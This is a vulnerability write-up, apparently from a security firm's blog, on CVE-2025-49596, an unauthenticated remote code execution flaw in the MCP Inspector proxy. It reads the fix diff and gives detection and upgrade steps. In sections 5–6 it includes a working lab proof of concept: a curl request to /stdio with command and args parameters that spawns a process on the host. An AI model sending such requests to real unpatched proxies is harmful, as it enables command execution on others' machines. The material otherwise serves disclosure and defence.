CVE-2025-49596: The MCP Inspector RCE, Read From the Patch Diff
The official MCP debugging tool bound its proxy to all interfaces, ran commands from URL parameters, and asked for no authentication. We reproduced CVE-2025-49596 in a local lab, read the real fix commit, and mapped the root cause to CWE-306.

The official Model Context Protocol debugging tool, which developers run on their own machines, shipped with a proxy that bound to every network interface, spawned a local process from URL query parameters, and required no authentication to do it. One unauthenticated HTTP request ran a command on the host. This post reads the vulnerability straight from the code and the fix commit, reproduces it against the affected version in a local lab, and shows what the patch changed.
§ 1CVE-2025-49596 at a glance
- CVE-2025-49596 is an unauthenticated remote code execution flaw in
@modelcontextprotocol/inspector, the official MCP debugging tool. - Affected versions are all releases before
0.14.1. The fix is in0.14.1. Upgrade to0.14.1or later, and in practice run the current release,2.16.0. - The weakness is CWE-306: Missing Authentication for Critical Function, as recorded on the NVD entry. The GitHub Security Advisory scores it CVSS v4.0 9.4 (Critical), and NVD carries that same v4.0 score.
- The fix landed in commit
50df0e1on 2025-06-13. The advisory credits the discovery to Rémy Marot of Tenable. It adds a session token, an origin allowlist, and a loopback bind. - In our lab, one unauthenticated
curlto/stdioon version0.13.0created a file on disk. The same request against a patched install (meta-package0.14.1, proxyinspector-server@0.14.3) returned401, and a disallowed Origin returned403.
§ 2What is MCP Inspector, and why developers run it
The Model Context Protocol connects AI clients to external tools and data through MCP servers. MCP Inspector is the official tool for building and debugging those servers. You point it at a server, and it lists the server’s tools, resources, and prompts and lets you call them by hand.
Inspector runs as two local processes. A client web app serves the UI, on port 6274 by default. A proxy server bridges the browser to the MCP server you are debugging, on port 6277 by default. The proxy is the interesting part. To talk to a stdio-based MCP server, it starts that server as a child process. The command to run arrives in the HTTP request. That design is fine for a tool that only ever listens on loopback and only answers its own UI. It is dangerous the moment either assumption breaks.
§ 3Setting up a lab to reproduce the MCP Inspector vulnerability
We reproduced the flaw on a single Linux host with two throwaway installs, both pulled from npm:
- Vulnerable:
@modelcontextprotocol/inspector@0.13.0 - Patched:
@modelcontextprotocol/inspector@0.14.1. Its^0.14.1dependency range resolved the proxy package to@modelcontextprotocol/inspector-server@0.14.3. The fix controls we exercised (loopback bind, session token, origin allowlist) are identical in the0.14.1server build. The one difference is the token header:0.14.1readsAuthorization, and0.14.2and later readx-mcp-proxy-auth.
The host ran Node v24.22.1 and npm 11.21.1. We launched the proxy directly with node node_modules/@modelcontextprotocol/inspector-server/build/index.js on throwaway ports (16277 for the vulnerable run, 16278 for the patched run) to avoid colliding with any real install. Every request came from loopback. No third-party or remote host was touched, and the proof of concept only ran touch.
§ 4Reading the patch: what the CVE-2025-49596 fix changed
The fix commit is 50df0e1. The release notes for 0.14.1 do not mention security, so the advisory and the commit are the sources that matter. Almost all of the change is in server/src/index.ts. The hunks below are quoted from git diff 0.13.0 0.14.1.
1/4server/src/index.ts · old 19–25 → new 19–25
@@ -19,7 +19,7 @@ import { Transport } from "@modelcontextprotocol/sdk/shared/transport.js";
Imports randomBytes and timingSafeEqual, the two primitives the session token needs.
import express from "express";import { findActualExecutable } from "spawn-rx";import mcpProxy from "./mcpProxy.js";removed: import { randomUUID } from "node:crypto";added: import { randomUUID, randomBytes, timingSafeEqual } from "node:crypto";const SSE_HEADERS_PASSTHROUGH = ["authorization"];const STREAMABLE_HTTP_HEADERS_PASSTHROUGH = [2/4server/src/index.ts · old 89–94 → new 89–160
@@ -89,6 +89,72 @@ app.use((req, res, next) => {
Adds the session token, the origin allowlist that answers 403, and the token check that answers 401.
- A 32-byte random session token, made once at startup.
- Origin allowlist: anything but the local client origins gets 403, to stop DNS rebinding.
- Token check: no Bearer token, or a wrong one, gets 401. The compare is constant-time.
const webAppTransports: Map<string, Transport> = new Map<string, Transport>(); // Web app transports by web app sessionIdconst serverTransports: Map<string, Transport> = new Map<string, Transport>(); // Server Transports by web app sessionIdadded: const sessionToken = randomBytes(32).toString('hex');added: const authDisabled = !!process.env.DANGEROUSLY_OMIT_AUTH;added: added: // Origin validation middleware to prevent DNS rebinding attacksadded: const originValidationMiddleware = (req: express.Request, res: express.Response, next: express.NextFunction) => {added: const origin = req.headers.origin;added: added: // Default origins based on CLIENT_PORT or use environment variableadded: const clientPort = process.env.CLIENT_PORT || '6274';added: const defaultOrigins = [added: `http://localhost:${clientPort}`,added: `http://127.0.0.1:${clientPort}`added: ];added: const allowedOrigins = process.env.ALLOWED_ORIGINS?.split(',') || defaultOrigins;added: added: if (origin && !allowedOrigins.includes(origin)) {added: console.error(`Invalid origin: ${origin}`);added: res.status(403).json({ added: error: 'Forbidden - invalid origin', added: message: 'Request blocked to prevent DNS rebinding attacks. Configure allowed origins via environment variable.'added: });added: return;added: }added: next();added: };added: added: const authMiddleware = (req: express.Request, res: express.Response, next: express.NextFunction) => {added: if (authDisabled) {added: return next();added: }added: added: const sendUnauthorized = () => {added: res.status(401).json({ added: error: "Unauthorized", added: message: "Authentication required. Use the session token shown in the console when starting the server."added: });added: };added: added: const authHeader = req.headers.authorization;added: if (!authHeader || !authHeader.startsWith('Bearer ')) {added: sendUnauthorized();added: return;added: }added: added: const providedToken = authHeader.substring(7); // Remove 'Bearer ' prefixadded: const expectedToken = sessionToken;added: added: // Convert to buffers for timing-safe comparisonadded: const providedBuffer = Buffer.from(providedToken);added: const expectedBuffer = Buffer.from(expectedToken);added: added: // Check length first to prevent timing attacksadded: if (providedBuffer.length !== expectedBuffer.length) {added: sendUnauthorized();added: return;added: }added: added: // Perform timing-safe comparisonadded: if (!timingSafeEqual(providedBuffer, expectedBuffer)) {added: sendUnauthorized();added: return;added: }added: added: next();added: };added: const createTransport = async (req: express.Request): Promise<Transport> => { const query = req.query; console.log("Query parameters:", JSON.stringify(query));3/4server/src/index.ts · old 266–272 → new 332–338
@@ -266,7 +332,7 @@ app.delete("/mcp", async (req, res) => {
Puts both checks in front of /stdio, the route that spawns the process.
}});removed: app.get("/stdio", async (req, res) => {added: app.get("/stdio", originValidationMiddleware, authMiddleware, async (req, res) => { try { console.log("New STDIO connection request"); let serverTransport: Transport | undefined;4/4server/src/index.ts · old 415–425 → new 481–503
@@ -415,11 +481,23 @@ app.get("/config", (req, res) => {
Binds to 127.0.0.1 by default instead of every interface, and prints the session token at startup.
}});removed: const PORT = process.env.PORT || 6277;added: const PORT = parseInt(process.env.PORT || '6277', 10);added: const HOST = process.env.HOST || '127.0.0.1';removed: const server = app.listen(PORT);added: const server = app.listen(PORT, HOST);server.on("listening", () => {removed: console.log(`⚙️ Proxy server listening on port ${PORT}`);added: console.log(`⚙️ Proxy server listening on ${HOST}:${PORT}`);added: if (!authDisabled) {added: console.log(`🔑 Session token: ${sessionToken}`);added: console.log(`Use this token to authenticate requests or set DANGEROUSLY_OMIT_AUTH=true to disable auth`);added: added: // Display clickable URL with pre-filled tokenadded: const clientPort = process.env.CLIENT_PORT || '6274';added: const clientUrl = `http://localhost:${clientPort}/?MCP_PROXY_AUTH_TOKEN=${sessionToken}`;added: console.log(`\n🔗 Open inspector with token pre-filled:\n ${clientUrl}\n (Auto-open is disabled when authentication is enabled)\n`);added: } else {added: console.log(`⚠️ WARNING: Authentication is disabled. This is not recommended.`);added: }});server.on("error", (err) => { if (err.message.includes(`EADDRINUSE`)) {server/src/index.ts from commit 50df0e1, quoted from the diff against its first parent. The same one-line middleware change also lands on GET /mcp, POST /mcp, DELETE /mcp, GET /sse, POST /message and GET /config. Only /health stays open. At this commit the token is read from the Authorization header. Our patched lab resolved inspector-server 0.14.3, which reads x-mcp-proxy-auth instead.The dangerous primitive: a process spawned from query parameters
The proxy builds a transport from the request’s query string and starts a local process. This code is the intended feature, and it exists in both versions. It is also the payload once the endpoint is reachable without authentication.
1// server/src/index.ts @ 0.13.02const command = query.command as string;3const origArgs = shellParseArgs(query.args as string) as string[];4const queryEnv = query.env ? JSON.parse(query.env as string) : {};5const env = { ...process.env, ...defaultEnvironment, ...queryEnv };6const { cmd, args } = findActualExecutable(command, origArgs);7const transport = new StdioClientTransport({ command: cmd, args, env, stderr: "pipe" });8await transport.start(); // spawns the process named in ?command=The command and args come straight from ?command= and ?args=. Whoever reaches this route chooses the program that runs.
Root cause 1: no authentication on the proxy routes
In 0.13.0, the proxy registers its routes with no middleware in front of them. Nothing checks who is calling.
1// server/src/index.ts @ 0.13.02app.get("/mcp", async (req, res) => { ... });3app.post("/mcp", async (req, res) => { ... });4app.get("/stdio", async (req, res) => { ... }); // reaches createTransport() => spawn5app.get("/sse", async (req, res) => { ... });6app.post("/message", async (req, res) => { ... });7app.get("/config", (req, res) => { ... });This is CWE-306, and it maps to OWASP Top 10 A07:2021, Identification and Authentication Failures. A critical function, spawning a process, sits behind a route that requires no authentication. The fix introduces a session token generated at startup and a middleware that enforces it.
1// server/src/index.ts @ 0.14.12const sessionToken = randomBytes(32).toString("hex");3const authDisabled = !!process.env.DANGEROUSLY_OMIT_AUTH;45const authMiddleware = (req, res, next) => {6 if (authDisabled) {7 return next();8 }9 const sendUnauthorized = () => {10 res.status(401).json({11 error: "Unauthorized",12 message: "Authentication required. Use the session token shown in the console when starting the server.",13 });14 };15 const authHeader = req.headers.authorization;16 if (!authHeader || !authHeader.startsWith("Bearer ")) {17 sendUnauthorized();18 return;19 }20 const providedToken = authHeader.substring(7); // Remove 'Bearer ' prefix21 const expectedToken = sessionToken;22 const providedBuffer = Buffer.from(providedToken);23 const expectedBuffer = Buffer.from(expectedToken);24 if (providedBuffer.length !== expectedBuffer.length) {25 sendUnauthorized();26 return;27 }28 if (!timingSafeEqual(providedBuffer, expectedBuffer)) {29 sendUnauthorized();30 return;31 }32 next();33};The token is 32 random bytes compared with crypto.timingSafeEqual after a length check, so the comparison does not leak the token through response timing. The token prints to the console at startup, and the real UI carries it.
One implementation detail is worth knowing if you script against the proxy. The source at git tag 0.14.1 reads the token from the Authorization header, and the published inspector-server@0.14.1 build on npm matches that. Starting with inspector-server@0.14.2, the build reads a dedicated x-mcp-proxy-auth header instead. We confirmed this by unpacking the npm tarballs for each version. The dedicated header avoids colliding with an Authorization header that the proxy passes through to the target MCP server. Because the meta-package @modelcontextprotocol/inspector@0.14.1 depends on inspector-server with a ^0.14.1 range, a fresh install today resolves to a later 0.14.x and uses the x-mcp-proxy-auth header. Our patched lab install resolved inspector-server@0.14.3, which is why the authorized request below uses x-mcp-proxy-auth.
Root cause 2: the proxy bound to every interface
In 0.13.0, the server calls app.listen(PORT) with no host, so Node binds to all interfaces (::, or 0.0.0.0 on IPv4-only hosts). The fix binds an explicit host that defaults to loopback.
1// 0.13.02const PORT = process.env.PORT || 6277;3const server = app.listen(PORT);1// 0.14.12const PORT = parseInt(process.env.PORT || "6277", 10);3const HOST = process.env.HOST || "127.0.0.1";4const server = app.listen(PORT, HOST);A tool that only serves its own UI has no reason to listen on every interface. Before the fix, anything that could route to the host could reach the proxy.
Root cause 3: cross-origin reachable, with no DNS-rebinding defense
Before the fix, every proxy response carried Access-Control-Allow-Origin: *, and no middleware checked the request’s Origin. That makes the endpoint reachable from a web page the victim visits. The fix adds an origin allowlist whose own comment names the threat it defends against.
1// 0.14.1, server/src/index.ts2// Origin validation middleware to prevent DNS rebinding attacks3const originValidationMiddleware = (req, res, next) => {4 const origin = req.headers.origin;5 const clientPort = process.env.CLIENT_PORT || "6274";6 const defaultOrigins = [7 `http://localhost:${clientPort}`,8 `http://127.0.0.1:${clientPort}`,9 ];10 const allowedOrigins = process.env.ALLOWED_ORIGINS?.split(",") || defaultOrigins;11 if (origin && !allowedOrigins.includes(origin)) {12 console.error(`Invalid origin: ${origin}`);13 res.status(403).json({14 error: "Forbidden - invalid origin",15 message: "Request blocked to prevent DNS rebinding attacks. Configure allowed origins via environment variable.",16 });17 return;18 }19 next();20};Each sensitive route now runs both middlewares before its handler. The /config route shows the shape of the change. /mcp (GET, POST, and the new DELETE), /stdio, /sse, and /message get the same treatment. Only /health stays unauthenticated.
1-app.get("/config", (req, res) => {2+app.get("/config", originValidationMiddleware, authMiddleware, (req, res) => {The MCP Inspector RCE attack path, mapped to CWE-306
The three root causes stack. Missing authentication on a route that spawns a process is the core bug. The all-interfaces bind widens the blast radius from one machine to the network around it. The permissive CORS, with no origin check, opens a browser-driven path: a victim who merely opens a malicious page can have their own browser send the spawn request to the proxy on their machine. That browser path is the one the advisory and the fix describe, through DNS rebinding and the loopback reachability of local dev servers. We did not reproduce that end-to-end browser chain in this lab. We confirmed the pieces it relies on: the wildcard CORS header and the fact that the maintainers added origin validation specifically to stop it.
AVulnerable0.13.0
BPatched build0.14.1 (proxy 0.14.3)
Text version of this diagram
Vulnerable 0.13.0
- The victim opens a malicious web page in their browser. This browser step follows the advisory; the lab did not reproduce it.
- Script on the page sends a cross-origin request to the local proxy. Nothing checks the Origin, CORS is a wildcard and no token is required.
- The Inspector proxy calls app.listen(PORT) with no host, so it listens on 0.0.0.0, default port 6277. In the lab it listened on *:16277.
- The request hits GET /stdio with command=touch and args=/tmp/pwned, and no Authorization header.
- The proxy spawns /usr/bin/touch with the argument /tmp/pwned, taken straight from the query.
- The proxy answers HTTP/1.1 200 OK with Access-Control-Allow-Origin: *, and /tmp/pwned now exists on disk. Remote code execution confirmed.
Patched build 0.14.1 (proxy 0.14.3)
- Same start: the victim opens the malicious page.
- The cross-origin request reaches /stdio carrying Origin: http://evil.example.
- Guard 1, loopback bind: app.listen(PORT, HOST) now listens on 127.0.0.1:16278, localhost only, no longer 0.0.0.0.
- Guard 2, origin allowlist: originValidationMiddleware rejects http://evil.example with HTTP 403 Forbidden (invalid origin). The request stops here.
- Guard 3, session token: a request with no auth header gets HTTP 401 Unauthorized from authMiddleware. Only x-mcp-proxy-auth: Bearer <token> gets through.
- The command runs only with a valid token and an allowed origin, which returns HTTP 200 OK and creates /tmp/pwned2.
/stdio spawns a process. On the patched build (inspector 0.14.1, proxy 0.14.3) the same request stops at the origin check with 403, and a request with no token gets 401. Lab ports were 16277 and 16278; the default is 6277. The browser steps (01–02) follow the advisory and were not reproduced in our lab.§ 5Reproducing the RCE against 0.13.0
With the vulnerable proxy running, the socket listed on *:16277, every interface. One unauthenticated request created a file. No Authorization header was sent.
1$ ss -ltnp | grep 162772LISTEN 0 511 *:16277 *:* # "*" = 0.0.0.0, all interfaces34$ curl -s -i -G "http://127.0.0.1:16277/stdio" \5 --data-urlencode "transportType=stdio" \6 --data-urlencode "command=touch" \7 --data-urlencode "args=/tmp/pwned"8HTTP/1.1 200 OK9Access-Control-Allow-Origin: *10Content-Type: text/event-stream11event: endpoint12data: /message?sessionId=b471baf3-ef8d-4804-bf5f-ba9303c620e31314$ ls -la /tmp/pwned15-rw-r--r-- 1 box box 0 /tmp/pwned # command executedThe proxy spawned touch /tmp/pwned and the file appeared. We kept the proof of concept harmless. A real attacker would pass any command the proxy’s user can run.
§ 6The same attack against the patched proxy
On the patched proxy, the socket listed on 127.0.0.1:16278, loopback only, and the console printed a session token at startup. The same request without a token returned 401. A request with a disallowed Origin returned 403. The command ran only with a valid token and an allowed origin.
(Condensed transcript; full output is in our lab notes.)
1$ ss -ltnp | grep 162782LISTEN 0 511 127.0.0.1:16278 0.0.0.0:* # loopback only34# 1) No auth header5curl ... /stdio?command=touch&args=/tmp/pwned2 => HTTP 401 Unauthorized6# 2) Disallowed Origin7curl -H "Origin: http://evil.example" ... /stdio => HTTP 403 Forbidden8# 3) Valid token + allowed origin9curl -H "x-mcp-proxy-auth: Bearer <token>" \10 -H "Origin: http://localhost:16274" ... /stdio => HTTP 200 OK1112$ ls -la /tmp/pwned213-rw-r--r-- 1 box box 0 /tmp/pwned2 # created only in case 3Case 3 sends x-mcp-proxy-auth because the installed proxy was 0.14.3. Against inspector-server@0.14.1, send Authorization: Bearer <token>.
A · Vulnerable · 0.13.0
$ # ===== CVE-2025-49596 — VULNERABLE LAB: @modelcontextprotocol/inspector 0.13.0 =====$ node --versionv24.22.1$ cat node_modules/@modelcontextprotocol/inspector/package.json | grep version "version": "0.13.0",$ # Start the proxy server (default: no HOST arg => binds all interfaces)$ grep -n "app.listen" node_modules/@modelcontextprotocol/inspector-server/build/index.js288:const server = app.listen(PORT);$ PORT=16277 node .../inspector-server/build/index.js &⚙️ Proxy server listening on port 16277$ ss -ltnp | grep 16277LISTEN 0 511 *:16277 *:* <-- "*" = 0.0.0.0, reachable from the network$ # ---- Unauthenticated RCE via /stdio (NO Authorization header) ----$ ls /tmp/pwnedls: cannot access '/tmp/pwned': No such file or directory$ curl -s -i -G "http://127.0.0.1:16277/stdio" \ --data-urlencode "transportType=stdio" \ --data-urlencode "command=touch" \ --data-urlencode "args=/tmp/pwned"HTTP/1.1 200 OKAccess-Control-Allow-Origin: *Content-Type: text/event-streamevent: endpointdata: /message?sessionId=b471baf3-ef8d-4804-bf5f-ba9303c620e3$ ls -la /tmp/pwned-rw-r--r-- 1 box box 0 Nov 21 14:06 /tmp/pwned <-- COMMAND EXECUTED. RCE CONFIRMED.
B · Patched build · 0.14.1 (proxy 0.14.3)
$ # ===== CVE-2025-49596 — PATCHED LAB: @modelcontextprotocol/inspector 0.14.1 =====$ cat node_modules/@modelcontextprotocol/inspector/package.json | grep version "version": "0.14.1",$ grep -n "app.listen" .../inspector-server/build/index.js409:const server = app.listen(PORT, HOST); <-- now binds explicit HOST (127.0.0.1)$ PORT=16278 node .../inspector-server/build/index.js &⚙️ Proxy server listening on 127.0.0.1:16278🔑 Session token: <token redacted>$ ss -ltnp | grep 16278LISTEN 0 511 127.0.0.1:16278 0.0.0.0:* <-- localhost only (no longer 0.0.0.0)$ # ---- Same attack, now gated ----$ # 1) No auth header:curl ... /stdio?command=touch&args=/tmp/pwned2 => HTTP 401 Unauthorized$ # 2) Cross-origin (DNS-rebinding style):curl -H "Origin: http://evil.example" ... /stdio => HTTP 403 Forbidden (invalid origin)$ # 3) Valid session token + allowed origin (authorized control):curl -H "x-mcp-proxy-auth: Bearer <token>" \ -H "Origin: http://localhost:16274" ... /stdio => HTTP 200 OK$ ls -la /tmp/pwned2-rw-r--r-- 1 box box 0 Nov 21 14:07 /tmp/pwned2 <-- runs ONLY with a valid token
@modelcontextprotocol/inspector 0.13.0 runs touch /tmp/pwned for an unauthenticated request. Right: the patched install, meta-package 0.14.1, whose dependency range resolved the proxy to inspector-server 0.14.3. It answers 401 without a token and 403 for a foreign origin. The patched curl lines are condensed in our lab notes. Both runs were local, on throwaway ports.§ 7What the 0.14.1 fix does, and the gaps that remain
Version 0.14.1 adds three controls:
- A session token, 32 random bytes, required on every proxy route except
/healthand compared in constant time. - An origin allowlist that defaults to the local client origins and rejects anything else with
403, to stop DNS rebinding. - A loopback bind, with
HOSTdefaulting to127.0.0.1. When authentication is on, the proxy no longer auto-opens a browser; it prints a URL with the token prefilled.
The defaults are safe, but they are defaults. A few conditions bring back the old exposure:
DANGEROUSLY_OMIT_AUTH=truedisables authentication. The middleware returns immediately when it is set.HOSTandALLOWED_ORIGINSare operator-overridable. SettingHOST=0.0.0.0with a broad origin list rebuilds most of the pre-fix surface.- Old copies stay vulnerable. A global install, a version pinned in a project’s
node_modules, or a stalenpxcache on a release before0.14.1is still exploitable. Upgrading one copy does not fix the others.
§ 8Detecting and mitigating CVE-2025-49596
Mitigation:
- Upgrade
@modelcontextprotocol/inspectorto0.14.1or later (the advisory’s fixed version), and in practice run the current release,2.16.0. - Do not set
DANGEROUSLY_OMIT_AUTH. Keep the session token on. - Keep the proxy on loopback. Do not bind
0.0.0.0on a shared or untrusted network, and keepALLOWED_ORIGINSlimited to the local client. - Block inbound access to the proxy and client ports (default
6277and6274) at the host firewall. Treat Inspector as a local-only developer tool. - Audit versions with
npm ls -g @modelcontextprotocol/inspectorand the per-projectnpm ls @modelcontextprotocol/inspector, and clear stalenpxcaches.
Detection:
- Flag any installed version below
0.14.1. - Watch for a listener on
0.0.0.0:6277, or on a customPORT. For example,ss -ltnp | grep 6277. - Review proxy access logs for unauthenticated hits to
/stdio,/sse,/message,/mcp, or/config, and for any/stdio?...&command=...with an unexpected command. - Watch host telemetry for unexpected child processes of the Node inspector-server process. The spawned process is the payload.
- To check a proxy you own, send an unauthenticated
GET /configto it on loopback. A pre-fix proxy answers200, and a fixed proxy answers401 Unauthorized. Do not useAccess-Control-Allow-Origin: *as an indicator: fixed versions still send it, and the origin allowlist and session token are what block cross-origin requests.
Check your own machine
Run these on any box that has touched MCP Inspector:
1# Installed versions. Flag anything below 0.14.1, and check both packages.2npm ls -g @modelcontextprotocol/inspector @modelcontextprotocol/inspector-server3npm ls @modelcontextprotocol/inspector @modelcontextprotocol/inspector-server45# Listeners on the client and proxy ports. A 0.0.0.0 or * bind on 6277 is the pre-fix bind.6ss -ltnp | grep -E ':(6274|6277)\b'78# Unauthenticated probe against your own proxy on loopback.9# 200 means unfixed, or DANGEROUSLY_OMIT_AUTH is set; 401 means fixed.10curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:6277/configThen hunt for the settings that turn the fix off. Grep shell profiles, .env files, package.json scripts, and devcontainer files for DANGEROUSLY_OMIT_AUTH and HOST=0.0.0.0; either one brings back the pre-fix exposure on a patched version. One visible tell: with the fix in place, Inspector auto-opens a browser on start only when DANGEROUSLY_OMIT_AUTH is set, so a patched Inspector that still pops a browser has authentication disabled.
§ 9Disclosure timeline
| Date | Event |
|---|---|
| 2025-06-13 | Fix commit 50df0e1 lands; version 0.14.1 published; GHSA-7f8r-222p-6f5g published; credit to Rémy Marot (Tenable) |
The advisory and the commit share the 2025-06-13 date. We built this timeline only from dates confirmed in those primary sources.
§ 10Frequently asked questions
What is CVE-2025-49596?
CVE-2025-49596 is an unauthenticated remote code execution flaw in MCP Inspector (@modelcontextprotocol/inspector) before version 0.14.1. The debugging proxy spawned a local process from URL query parameters with no authentication. It is classified as CWE-306 and scored CVSS v4.0 9.4 (Critical) by the GitHub Security Advisory and NVD.
Which versions of MCP Inspector are affected, and how do I fix it?
Every release before 0.14.1 is affected. Upgrade to 0.14.1 or later, and in practice run the current release, 2.16.0. Check global installs, per-project node_modules, and stale npx caches, because upgrading one copy does not fix the others.
Can CVE-2025-49596 be exploited from a web browser?
The advisory and the fix describe a browser-driven path through DNS rebinding, made possible by the wildcard CORS header and the all-interfaces bind. We confirmed those preconditions in the lab but did not reproduce the end-to-end browser chain ourselves.
Does upgrading to 0.14.1 fully remove the risk?
The fix adds a session token, an origin allowlist, and a loopback bind by default. The exposure can return if DANGEROUSLY_OMIT_AUTH is set, if HOST or ALLOWED_ORIGINS are widened, or if older copies stay installed.
How do I detect an exposed MCP Inspector?
Look for a listener on 0.0.0.0:6277, unauthenticated requests to /stdio, /sse, /message, /mcp, or /config, and unexpected child processes of the inspector-server process.
§ 11Next step
MCP tooling keeps shipping developer servers that trust the local network. If you run LLM applications, AI agents, or MCP integrations, our AI security assessment tests how prompts, retrieved content, and connected tools can be turned against your systems.
Further reading.
AI Security Assessment
We test LLM applications, AI agents, and MCP tool integrations: how prompts, retrieved content, and connected tools can be turned against your systems and data.
Scope an AI security assessmentSource Code Auditing vs. Dynamic Testing: What Each One Catches
Who should we prepare your report for?
Type your company name to see it on the report cover and the scoping worksheet underneath. Hover over the cover to lift it.Tap the cover to lift it.